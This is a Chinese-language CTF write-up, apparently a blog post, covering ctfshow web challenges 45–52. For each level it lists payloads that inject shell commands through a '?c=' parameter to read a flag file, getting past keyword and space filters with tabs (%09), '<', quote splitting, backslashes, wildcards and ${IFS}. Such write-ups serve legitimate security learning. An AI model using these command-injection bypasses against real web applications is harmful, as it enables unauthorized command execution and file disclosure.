ctfshow 刷题web45~52

  • 600 字
  1. 1. web45
  2. 2. web46
  3. 3. web47
  4. 4. web48
  5. 5. web49
  6. 6. web50
  7. 7. web51
  8. 8. web52

web45

img
过滤了空格,用%09绕过,&&等于;,也可以用||%0a
payload:

1
2
3
/?c=tac%09fl*||
/?c=sort%09fl*||
/?c=echo%09`tac%09fla*`||

web46

img
多过滤了一些字符,但还是可以%09过滤空格,因为%09解码后就不是数字了,是一个水平制表符。
*被过滤了,可以用?
payload:

1
2
/?c=tac%09fla?.php||
/?c=nl<fla''g.php|| nl查看源代码,<代替空格,''分割flag过滤,||解决命令黑洞

web47


无非就是sort无法用了,上一题的payload还可以用。

web48


上一题的payload依然可以用。

web49


依然可以用。

web50


%09过滤了,<>?一起使用时没有回显,所以这里的?可以用\''进行代替,。
paylaod:

1
2
/?c=tac<fla\g.php||
/?c=nl<fla''g.php||

web51


tac被过滤了,只能用nl。
payload:

1
?c=nl<fla\g.php||

web52


<>也被过滤了,还可以用$IFS
payload:

1
/?c=nl${IFS}fla\g.php||
赞助喵
非常感谢您的喜欢!
赞助喵
分享这一刻
让朋友们也来瞅瞅!